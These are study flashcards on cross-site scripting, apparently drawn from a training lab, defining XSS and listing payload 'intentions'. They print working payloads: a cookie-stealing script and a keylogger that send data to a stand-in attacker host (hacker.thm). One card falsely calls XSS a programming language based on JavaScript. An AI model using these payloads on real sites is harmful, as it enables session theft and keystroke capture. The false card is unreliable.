Cross-Site Scripting Flashcards
What is Cross-Site Scripting?
Cross-Site Scripting is also known as XSS, is a type of injection attack where the attacker injects malicious javascript code into a web application thats meant to be executed by other users.
What is XSS?
XSS is a programming language thats based off of Javascript.
Whats an XSS payload?
A XSS payload is the java script that you wish to be executed by the target user
What are the 2 parts of an XSS payload?
The 2 parts of an XSS payload are The Intention and The Modification.
What is the purpose of The Intention?
The Intention is what we actually want the javascript code to do.
What is the purpose of The Modification?
These are the actual changes that we make to the javascript to make it execute.
What are some examples of Intentions?
Some examples include: Proof of Concept, Session Stealing, Key Logging, and Business Logic
What is Proof of Concept?
This is the simplest form of payload where all your really doing is trying to confirm whether or not you can achieve XSS; normally this is done in the form of a pop with a message.
What would a payload for Proof of Concept look like?
<script> alert('XSS Payload'); </script>
What is Session Stealing?
Details of a users session such as login tokens are often kept in cookies on the target machine; there’s javascript code that can take those target cookies and encode them to ensure successful transmission and post it to a hacker controlled website to be logged.
What does a payload for Session Stealing look like?
<script> fetch('http://hacker.thm/steal?cookie= ' + btoa(document.cookie)); </script>
What is a Key Logger?
Anything that you type on a website with an established XSS, will be forwarded to a website under hackers control.
What does the payload for a Key Logger look like?
<script> document.onkeypress= function(e){fetch('https://hacker.thm/log?key=' + btoa(e.key));} </script>
What is Business Logic?
This a much more specific form of XSS targeting mostly key staff in business positions, its basically just executing a JS function or network resource.
Whats an example of Business Logic?
A Goode example to think about would be a JS function thats used for changing the users email address called user.changeEmail();